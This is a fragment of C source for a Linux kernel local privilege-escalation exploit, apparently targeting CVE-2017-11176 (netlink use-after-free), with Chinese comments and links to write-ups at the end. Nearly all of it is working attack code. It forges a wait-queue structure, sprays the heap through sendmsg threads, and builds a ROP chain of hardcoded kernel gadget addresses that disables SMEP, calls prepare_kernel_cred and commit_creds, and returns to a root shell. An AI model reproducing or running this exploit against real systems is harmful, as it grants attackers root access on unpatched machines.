pbuf->cmsg_type = 1;
*(unsigned int*)((char*)buf+0x2b0) = 0x12345678;/*portid*/
*(unsigned long*)((char*)buf+0x2c8) = 0; /*groups*/
struct u_wait_queue uwq; /*在用户空间伪造的u_wait_queue_t*/
memset(&uwq,0x66,sizeof(uwq));
uwq.flag = 0x01;
//uwq.func = 0xdeadbeefdeadbeef;
uwq.func = 0xffffffff81000085; /* swapgs ; ret; addr*/
uwq.next = &(uwq.next);
uwq.prev = &(uwq.next);
printf("buf : %p\nuwq : %p\n",buf,&(uwq.next));
*(unsigned long*)((char*)buf+0x2e8) = (void*)(&(uwq.next));/*覆盖netlink_sock->wait->tasklist.next,为用户空间fake uwq的next地址*/
//*(unsigned long*)((char*)buf+0x2f0) = (void*)0x4444444444444444;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
//msg.msg_controllen = 0;
/*下面是伪造栈,通过xchg,迁移过来*/
size_t *p = ((unsigned int)&uwq)&0xffffffff;
size_t *ptmp = p-0x20;
mmap(ptmp, 0x200, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
/*
0xffffffff8100abde : pop rax ; ret
0xffffffff811b265d : pop rdi ; ret
0xffffffff8105c144 : pop rbx ; ret
0xffffffff813b3eba : mov rdi, rax ; call rbx
commit_creds = 0xffffffff810a1720 ;
prepare_kernel_cred = 0xffffffff810a1a60;
*/
int r = 0;
p[r++] = 0xffffffff811b265d ;// pop rdi ; ret
p[r++] = 0x6f0;
p[r++] = 0xffffffff810031bd ;// mov cr4, rdi ; pop rbp ; ret
p[r++] = (unsigned long)p+0x100;
p[r++] = 0xffffffff8100abde;
p[r++] = 0;
p[r++] = 0xffffffff811b265d;
p[r++] = 0;
p[r++] = 0xffffffff810a1a60; //prepare_kernel_cred
p[r++] = 0xffffffff8133ff34 ;// mov rdi, rax ; mov rax, rdi ; pop rbx ; pop rbp ; ret
p[r++] = 0;
p[r++] = (unsigned long)p+0x100;
p[r++] = 0xffffffff810a1720;
p[r++] = 0xffffffff81063d54 ;// swapgs ; pop rbp ; ret
p[r++] = p+0x100;
p[r++] = 0xffffffff811b265d;
p[r++] = getshell;
p[r++] = 0xffffffff818410c7 ; // iretd ; call rdi
p[r++] = (unsigned long)getshell;
p[r++] = user_cs;
p[r++] = user_eflags;
p[r++] = (unsigned long)p;
p[r++] = user_ss;
p[r++] = 0xdeadbeefdeadbeef;
p[r++] = 0xdeadbeefdeadbeef;
p[r++] = 0xdeadbeefdeadbeef;
p[r++] = 0xdeadbeefdeadbeef;
struct timeval tv;
memset(&tv,0,sizeof(tv));
tv.tv_sec = 0;
tv.tv_usec = 0;
if(setsockopt(rfd,SOL_SOCKET,SO_SNDTIMEO,&tv,sizeof(tv))){
perror("heap spary setsockopt");
exit(-1);
}
puts("set timeo ==> ok");
while(sendmsg(sfd,&msg,MSG_DONTWAIT)>0);
if (errno != EAGAIN)
{
perror("[-] sendmsg");
exit(-1);
}
puts("sk_wmem_alloc > sk_snfbuf");
puts("[*] ==> sendmsg");
msg.msg_control = buf;
msg.msg_controllen = 1024;
struct thread3_arg t3;
t3.fd = sfd;
t3.send = 0;
t3.flag = 0;
t3.msg = &msg;
int i = 0;
pthread_t pid;
//sendmsg(sfd,&msg,0);
for(i=0;i<10;i++){
if(errno = pthread_create(&pid,NULL,thread3,&t3)){
perror("pthread_create ");
exit(-1);
}
}
}
int main(){
int fd = -1;
save_stats();//save cs ss rflags;
fd = add_rmem_alloc();//
tiger(fd);
tiger(fd);
heap_spray(fd);
sleep(2);
struct sockaddr_nl j_addr;
int j_addr_len = sizeof(j_addr);
memset(&j_addr, 0, sizeof(j_addr));
if(getsockname(fd,(struct sockaddr*)&j_addr,&j_addr_len)){
perror("getsockname ");
}
printf("portid : %x\n",j_addr.nl_pid);
puts("ok");
int optval = 1;
printf("user_cs : %x\nuser_rflags : %x\nuser_ss : %x\n",user_cs,user_eflags,user_ss);
setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,5);
close(fd);
return 0;
}
https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
https://paper.seebug.org/785/